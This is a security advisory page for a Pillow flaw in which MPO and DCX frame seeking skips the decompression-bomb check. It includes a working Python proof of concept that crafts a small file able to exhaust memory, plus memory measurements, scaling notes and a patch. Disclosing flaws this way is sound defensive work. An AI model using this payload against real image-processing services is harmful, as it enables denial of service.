GHSA-P8HX-V2P6-RP84

Vulnerability from github – Published: 2026-10-22 15:56 – Updated: 2026-10-22 15:56
VLAI
Summary
Pillow: Decompression-bomb protection bypass via multi-frame seek() in MPO and DCX (MpoImageFile.seek / DcxImageFile.seek)
Details

Summary

Pillow's decompression-bomb protection (Image._decompression_bomb_check, gated by Image.MAX_IMAGE_PIXELS) is enforced only on the first frame, inside Image.open(). For multi-frame formats, seek() re-parses the target frame's header and resets self._size. GifImagePlugin and TiffImagePlugin re-run the bomb check on seek(), but MpoImageFile.seek() and DcxImageFile.seek() do not. A crafted MPO or DCX whose first frame is tiny (passing the check) but whose later frame declares enormous dimensions therefore bypasses the protection: loading that frame decodes an over-limit image and commits large amounts of memory — a denial of service (memory exhaustion / OOM).

Same class as the recently assigned CVE-2026-55379 (BdfFontFile), CVE-2026-55380 (GdImageFile) and CVE-2026-40192 (FITS GZIP).

Details

Image.open() → _open_core() runs _decompression_bomb_check(im.size) once, on the frame present at open time. Both vulnerable seek() methods re-parse a new frame and set a new self._size without re-checking:

  • PIL/MpoImagePlugin.py, MpoImageFile.seek(): calls JpegImagePlugin.JpegImageFile._open(self) (which sets self._size from the frame's JPEG SOF) and rebuilds self.tile, with no Image._decompression_bomb_check(self.size).
  • PIL/DcxImagePlugin.py, DcxImageFile.seek(): calls PcxImageFile._open(self) (which sets self._size from the page's PCX header), with no check.

Confirmed present in 12.3.0 (latest release) and on main (13.0.0.dev0). Compare GifImagePlugin._seek and TiffImagePlugin, which call _decompression_bomb_check correctly on seek.

PoC

Self-contained; the victim uses default MAX_IMAGE_PIXELS:

import io
from PIL import Image

# attacker builds the file (guard disabled only to CREATE the oversized frame)
Image.MAX_IMAGE_PIXELS = None
small = Image.new("RGB", (8, 8))
big   = Image.new("RGB", (14000, 14000), (120, 60, 30))   # 196,000,000 px > error threshold
buf = io.BytesIO()
small.save(buf, format="MPO", save_all=True, append_images=[big])
data = buf.getvalue()                                      # ~3 MB
Image.MAX_IMAGE_PIXELS = int(1024 * 1024 * 1024 // 4 // 3) # restore default

# victim (default limits)
im = Image.open(io.BytesIO(data))   # frame 0 (8x8) passes the bomb check
im.seek(1)                          # frame 1 (14000x14000) -> NOT re-checked  <-- bug
im.load()                           # decodes the over-limit image, commits memory
print("loaded over-limit frame:", im.size)

Measured on Pillow 12.3.0 (default limit 89,478,485 px; error threshold 178,956,970 px):

Vector File size Frame 1 Peak RSS
MPO (JPEG) ~3.0 MB 14000×14000 (196 Mpx) ~763 MB
DCX (PCX) ~6.2 MB 14000×14000 (196 Mpx) ~200 MB
Control: same image standalone — 196 Mpx DecompressionBombError (correctly blocked)

The DCX vector (0x3ADE68B1 magic + offset directory + two PCX pages) behaves identically via DcxImageFile.seek(). Scaling frame 1 toward JPEG's ~65500×65500 maximum drives multi-GB commitments from a small file, reliably OOM-killing the process.

Impact

Denial of service (memory exhaustion / OOM) — CWE-400 / CWE-1284, a bypass of Pillow's documented decompression-bomb mitigation. seek() + load() is the normal way to iterate frames (e.g. PIL.ImageSequence.Iterator, thumbnailers, converters, 3D-photo handlers). Because MPO is auto-detected from a JPEG carrying MPF metadata, a file served with a .jpg extension can be opened as MPO, so any application that iterates frames of untrusted images is exposed.

Suggested fix

Re-run the check after seek() re-parses a frame, mirroring GIF/TIFF:

# PIL/MpoImagePlugin.py — end of MpoImageFile.seek()
self.tile = [ImageFile._Tile("jpeg", (0, 0) + self.size, self.offset, self.tile[0][-1])]
Image._decompression_bomb_check(self.size)   # add
self.__frame = frame

# PIL/DcxImagePlugin.py — end of DcxImageFile.seek()
PcxImageFile._open(self)
Image._decompression_bomb_check(self.size)   # add
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "13.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-96636"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-22T15:56:37Z",
    "nvd_published_at": "2026-10-21T21:20:31Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nPillow\u0027s decompression-bomb protection (`Image._decompression_bomb_check`, gated by `Image.MAX_IMAGE_PIXELS`) is enforced only on the **first frame**, inside `Image.open()`. For multi-frame formats, `seek()` re-parses the target frame\u0027s header and resets `self._size`. `GifImagePlugin` and `TiffImagePlugin` re-run the bomb check on `seek()`, but **`MpoImageFile.seek()` and `DcxImageFile.seek()` do not.** A crafted MPO or DCX whose first frame is tiny (passing the check) but whose later frame declares enormous dimensions therefore bypasses the protection: loading that frame decodes an over-limit image and commits large amounts of memory \u2014 a denial of service (memory exhaustion / OOM).\n\nSame class as the recently assigned CVE-2026-55379 (BdfFontFile), CVE-2026-55380 (GdImageFile) and CVE-2026-40192 (FITS GZIP).\n\n### Details\n`Image.open()` \u2192 `_open_core()` runs `_decompression_bomb_check(im.size)` once, on the frame present at open time. Both vulnerable `seek()` methods re-parse a new frame and set a new `self._size` without re-checking:\n\n- **`PIL/MpoImagePlugin.py`, `MpoImageFile.seek()`**: calls `JpegImagePlugin.JpegImageFile._open(self)` (which sets `self._size` from the frame\u0027s JPEG SOF) and rebuilds `self.tile`, with no `Image._decompression_bomb_check(self.size)`.\n- **`PIL/DcxImagePlugin.py`, `DcxImageFile.seek()`**: calls `PcxImageFile._open(self)` (which sets `self._size` from the page\u0027s PCX header), with no check.\n\nConfirmed present in **12.3.0** (latest release) and on **`main`** (13.0.0.dev0). Compare `GifImagePlugin._seek` and `TiffImagePlugin`, which call `_decompression_bomb_check` correctly on seek.\n\n### PoC\nSelf-contained; the victim uses **default** `MAX_IMAGE_PIXELS`:\n\n```python\nimport io\nfrom PIL import Image\n\n# attacker builds the file (guard disabled only to CREATE the oversized frame)\nImage.MAX_IMAGE_PIXELS = None\nsmall = Image.new(\"RGB\", (8, 8))\nbig   = Image.new(\"RGB\", (14000, 14000), (120, 60, 30))   # 196,000,000 px \u003e error threshold\nbuf = io.BytesIO()\nsmall.save(buf, format=\"MPO\", save_all=True, append_images=[big])\ndata = buf.getvalue()                                      # ~3 MB\nImage.MAX_IMAGE_PIXELS = int(1024 * 1024 * 1024 // 4 // 3) # restore default\n\n# victim (default limits)\nim = Image.open(io.BytesIO(data))   # frame 0 (8x8) passes the bomb check\nim.seek(1)                          # frame 1 (14000x14000) -\u003e NOT re-checked  \u003c-- bug\nim.load()                           # decodes the over-limit image, commits memory\nprint(\"loaded over-limit frame:\", im.size)\n```\n\nMeasured on Pillow 12.3.0 (default limit 89,478,485 px; error threshold 178,956,970 px):\n\n| Vector | File size | Frame 1 | Peak RSS |\n|---|---|---|---|\n| MPO (JPEG) | ~3.0 MB | 14000\u00d714000 (196 Mpx) | ~763 MB |\n| DCX (PCX) | ~6.2 MB | 14000\u00d714000 (196 Mpx) | ~200 MB |\n| Control: same image standalone | \u2014 | 196 Mpx | `DecompressionBombError` (correctly blocked) |\n\nThe DCX vector (`0x3ADE68B1` magic + offset directory + two PCX pages) behaves identically via `DcxImageFile.seek()`. Scaling frame 1 toward JPEG\u0027s ~65500\u00d765500 maximum drives multi-GB commitments from a small file, reliably OOM-killing the process.\n\n### Impact\nDenial of service (memory exhaustion / OOM) \u2014 CWE-400 / CWE-1284, a bypass of Pillow\u0027s documented decompression-bomb mitigation. `seek()` + `load()` is the normal way to iterate frames (e.g. `PIL.ImageSequence.Iterator`, thumbnailers, converters, 3D-photo handlers). Because **MPO is auto-detected from a JPEG carrying MPF metadata**, a file served with a `.jpg` extension can be opened as MPO, so any application that iterates frames of untrusted images is exposed.\n\n### Suggested fix\nRe-run the check after `seek()` re-parses a frame, mirroring GIF/TIFF:\n\n```python\n# PIL/MpoImagePlugin.py \u2014 end of MpoImageFile.seek()\nself.tile = [ImageFile._Tile(\"jpeg\", (0, 0) + self.size, self.offset, self.tile[0][-1])]\nImage._decompression_bomb_check(self.size)   # add\nself.__frame = frame\n\n# PIL/DcxImagePlugin.py \u2014 end of DcxImageFile.seek()\nPcxImageFile._open(self)\nImage._decompression_bomb_check(self.size)   # add\n```",
  "id": "GHSA-p8hx-v2p6-rp84",
  "modified": "2026-10-22T15:56:37Z",
  "published": "2026-10-22T15:56:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-p8hx-v2p6-rp84"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96636"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/pull/10011"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/f1acfc54c53502948d0d14121872061df931db48"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pillow: Decompression-bomb protection bypass via multi-frame seek() in MPO and DCX (MpoImageFile.seek / DcxImageFile.seek)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.